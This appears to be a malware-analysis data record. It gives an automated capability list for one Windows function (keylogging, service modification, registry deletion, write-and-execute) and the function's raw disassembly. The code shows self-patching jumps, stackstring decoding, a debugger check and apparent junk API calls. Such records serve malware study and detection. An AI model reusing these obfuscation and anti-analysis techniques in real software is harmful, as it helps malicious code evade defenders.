Function at 0xaa3000
Capabilities:
Accept command line arguments
Clear file content
Contain obfuscated stackstrings
Create directory
Create pipe
Create process on windows
Create thread
Delete file
Delete registry key
Enumerate files on windows
Extract resource via kernel32 functions
Get common file path
Get disk information
Get file attributes
Get file system object information
Get geographical location
Get graphical window text
Get memory capacity
Get thread local storage value
Log keystrokes via polling
Modify service
Query environment variable
Query or enumerate registry key
Query or enumerate registry value
Resume thread
Set environment variable
Set registry value
Set thread local storage value
Start service
Terminate process
Write and execute a file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
mov dword [ebp - 0x10], 0xaa3cf6
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xaa3039
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xaa321d
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xaa30bb
call fcn.004728c2
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xaa307d
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xaa3097
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xaa3097
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xaa304d
mov byte [ebp - 0x80], 4
mov byte [ebp - 0x7f], 0x78
mov byte [ebp - 0x7e], 3
mov byte [ebp - 0x7d], 0x23
mov byte [ebp - 0x7c], 6
mov byte [ebp - 0x7b], 0x73
mov byte [ebp - 0x7a], 5
mov byte [ebp - 0x79], 0x70
mov byte [ebp - 0x78], 0
mov byte [ebp - 0x77], 0x7b
mov byte [ebp - 0x76], 0x24
mov byte [ebp - 0x75], 0x83
mov byte [ebp - 0x74], 0xaa
mov byte [ebp - 0x73], 4
mov byte [ebp - 0x72], 0x78
mov byte [ebp - 0x71], 0xc4
mov byte [ebp - 0x70], 0x54
mov byte [ebp - 0x6f], 0xf7
mov byte [ebp - 0x6e], 8
mov byte [ebp - 0x6d], 0x19
mov byte [ebp - 0x6c], 0x90
mov byte [ebp - 0x6b], 0xda
mov byte [ebp - 0x6a], 0xda
mov byte [ebp - 0x69], 0x70
mov byte [ebp - 0x68], 0x5a
mov byte [ebp - 0x67], 0x49
mov byte [ebp - 0x66], 0x69
mov byte [ebp - 0x65], 0x72
mov byte [ebp - 0x64], 0x90
mov byte [ebp - 0x63], 0x38
mov byte [ebp - 0x62], 0x29
mov byte [ebp - 0x61], 0xcb
mov byte [ebp - 0x60], 0xf8
mov byte [ebp - 0x5f], 0xe4
mov byte [ebp - 0x5e], 0xb2
mov byte [ebp - 0x5d], 0xc5
mov byte [ebp - 0x5c], 0x85
mov byte [ebp - 0x5b], 9
mov byte [ebp - 0x5a], 0x21
mov byte [ebp - 0x59], 0x1c
mov byte [ebp - 0x58], 0xd6
mov byte [ebp - 0x57], 0x56
mov byte [ebp - 0x56], 0xbb
mov byte [ebp - 0x55], 0xe
mov byte [ebp - 0x54], 0
mov byte [ebp - 0x53], 0x1e
mov byte [ebp - 0x52], 7
mov byte [ebp - 0x51], 0x6c
mov byte [ebp - 0x50], 1
mov byte [ebp - 0x4f], 0x82
mov byte [ebp - 0x4e], 2
mov byte [ebp - 0x4d], 0x7d
mov byte [ebp - 0x4c], 9
mov byte [ebp - 0x4b], 0x7a
mov byte [ebp - 0x4a], 8
mov byte [ebp - 0x49], 0x83
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xaa31ad
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x38
jae 0xaa3212
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x80]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xaa31d9
mov dword [ebp - 0x24], 0x24
mov eax, dword [ebp - 8]
add eax, 0x22
mov dword [ebp - 8], eax
jmp 0xaa31a5
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x7f]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xaa3201
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xaa31ee
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x80]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xaa31a5
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xa95442
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.00407729
mov ecx, eax
call fcn.004029d4
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.00402978
and dword [ebp - 0x1c], 0
jmp 0xaa3255
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xaa3265
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xaa324e
push 0x1a4a
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
push 0x330
push 0x2533
push 0
push 0x983
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
push 0x202c
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
push 0
push 0xe4d
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push 0
push 0
push 0x12c2
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemInt]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
push 0
call dword [sym.imp.KERNEL32.dll_EncodePointer]
push 0
push 0
push 0
push 0
push 0
push 0
push 0x210e
push 0
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
push 0
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0x2467
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
push 0
push 0
push 0x848
push 0
call dword [sym.imp.USER32.dll_GetMenuItemInfoW]
push 0
push 0x128
push 0x1e34
push 0
push 0x92e
push 0x1d5b
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsIconic]
push 0x1e4d
push 0
push 0x1d4e
push 0x194b
push 0x1aff
push 0
push 0xa02
push 0xcb7
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawIconEx]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgCtrlID]
push 0x695
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
push 0xe3b
push 0x572
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawFrameControl]
push 0xc9f
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MapWindowPoints]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xbb6
push 0x2432
push 0x16dc
push 0
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
push 0
push 0
push 0x5f5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
push 0
call dword [sym.imp.USER32.dll_GetMenuItemCount]
push 0
call dword [sym.imp.USER32.dll_DestroyMenu]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadTimes]
push 0
push 0
call dword [sym.imp.GDI32.dll_GetNearestPaletteIndex]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DrawMenuBar]
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SysStringByteLen]
push 0
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRgn]
push 0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0
call dword [sym.imp.KERNEL32.dll_RtlCaptureContext]
push 0xcdd
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push 0x5c3
push 0
push 0
push 0
push 0x201f
push 0
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
push 0x137a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnumChildWindows]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
push 0x1a3e
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push 0
push 0x2032
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetLBound]
push 0x1615
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push 0
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_VariantTimeToDosDateTime]
push 0
push 0x552
push 0x42d
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x86d
push 0x1e0a
push 0x1bc7
push 0x22a3
push 0xea7
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x1c2d
push 0x1771
push 0x509
push 0x22d4
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_StretchBlt]
push 0x38c
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0x1753
push 0
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 0x2514
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
push 0
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x1049
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
push 1
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
push 0
push 0x416
push 0x1939
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0
push 0x313
push 0xf0
push 0x1dc2
push 0x1923
push 0x17f5
push 0x26d2
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndPaint]
push 0x1e7b
call dword [sym.imp.KERNEL32.dll_ExitProcess]